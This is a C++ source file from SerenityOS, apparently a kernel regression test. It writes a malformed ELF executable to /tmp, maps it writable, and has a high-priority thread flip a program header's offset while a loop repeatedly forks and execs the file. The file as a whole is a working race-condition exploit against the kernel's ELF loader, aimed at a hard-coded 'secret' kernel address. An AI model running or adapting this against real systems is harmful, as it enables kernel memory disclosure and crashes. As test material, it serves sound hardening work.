elf-execve-mmap-race.cpp 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141
  1. /*
  2. * Copyright (c) 2018-2020, the SerenityOS developers.
  3. *
  4. * SPDX-License-Identifier: BSD-2-Clause
  5. */
  6. #include <AK/Types.h>
  7. #include <elf.h>
  8. #include <fcntl.h>
  9. #include <pthread.h>
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <sys/mman.h>
  14. #include <sys/stat.h>
  15. #include <sys/wait.h>
  16. #include <unistd.h>
  17. volatile bool hax = false;
  18. int main()
  19. {
  20. char buffer[16384];
  21. auto& header = *(Elf32_Ehdr*)buffer;
  22. header.e_ident[EI_MAG0] = ELFMAG0;
  23. header.e_ident[EI_MAG1] = ELFMAG1;
  24. header.e_ident[EI_MAG2] = ELFMAG2;
  25. header.e_ident[EI_MAG3] = ELFMAG3;
  26. header.e_ident[EI_CLASS] = ELFCLASS32;
  27. header.e_ident[EI_DATA] = ELFDATA2LSB;
  28. header.e_ident[EI_VERSION] = EV_CURRENT;
  29. header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
  30. header.e_ident[EI_ABIVERSION] = 0;
  31. header.e_type = ET_EXEC;
  32. header.e_version = EV_CURRENT;
  33. header.e_ehsize = sizeof(Elf32_Ehdr);
  34. header.e_machine = EM_386;
  35. header.e_shentsize = sizeof(Elf32_Shdr);
  36. header.e_phnum = 1;
  37. header.e_phoff = 52;
  38. header.e_phentsize = sizeof(Elf32_Phdr);
  39. auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
  40. ph[0].p_vaddr = 0x20000000;
  41. ph[0].p_type = PT_LOAD;
  42. ph[0].p_filesz = sizeof(buffer);
  43. ph[0].p_memsz = sizeof(buffer);
  44. ph[0].p_flags = PF_R | PF_W;
  45. ph[0].p_align = PAGE_SIZE;
  46. header.e_shnum = 3;
  47. header.e_shoff = 1024;
  48. u32 secret_address = 0x00184658;
  49. auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
  50. sh[0].sh_type = SHT_SYMTAB;
  51. sh[0].sh_offset = 2048;
  52. sh[0].sh_entsize = sizeof(Elf32_Sym);
  53. sh[0].sh_size = 1 * sizeof(Elf32_Sym);
  54. sh[1].sh_type = SHT_STRTAB;
  55. sh[1].sh_offset = secret_address - 0x01001000;
  56. sh[1].sh_entsize = 0;
  57. sh[1].sh_size = 1024;
  58. sh[2].sh_type = SHT_STRTAB;
  59. sh[2].sh_offset = 4096;
  60. sh[2].sh_entsize = 0;
  61. sh[2].sh_size = 1024;
  62. header.e_shstrndx = 2;
  63. auto* sym = (Elf32_Sym*)(&buffer[2048]);
  64. sym[0].st_value = 0;
  65. sym[0].st_name = 0;
  66. header.e_entry = 0;
  67. char path[] = "/tmp/x.XXXXXX";
  68. auto fd = mkstemp(path);
  69. if (fd < 0) {
  70. perror("mkstemp");
  71. return 1;
  72. }
  73. if (fchmod(fd, 0777) < 0) {
  74. perror("chmod");
  75. return 1;
  76. }
  77. int nwritten = write(fd, buffer, sizeof(buffer));
  78. if (nwritten < 0) {
  79. perror("write");
  80. return 1;
  81. }
  82. sync();
  83. auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
  84. if (mapped == MAP_FAILED) {
  85. perror("mmap");
  86. return 1;
  87. }
  88. auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
  89. pthread_attr_t attrs;
  90. pthread_attr_init(&attrs);
  91. sched_param high_prio { 99 };
  92. pthread_attr_setschedparam(&attrs, &high_prio);
  93. pthread_t t;
  94. pthread_create(
  95. &t, &attrs, [](void* ctx) -> void* {
  96. auto& ph = *(volatile Elf32_Phdr*)ctx;
  97. for (;;) {
  98. if (!hax)
  99. ph.p_offset = 0x60000000;
  100. else
  101. ph.p_offset = 0;
  102. hax = !hax;
  103. usleep(1);
  104. }
  105. },
  106. &writable_program_headers[0]);
  107. for (;;) {
  108. if (!fork()) {
  109. try_again:
  110. printf("exec\n");
  111. execl(path, "x", nullptr);
  112. goto try_again;
  113. }
  114. printf("waitpid\n");
  115. waitpid(-1, nullptr, 0);
  116. }
  117. }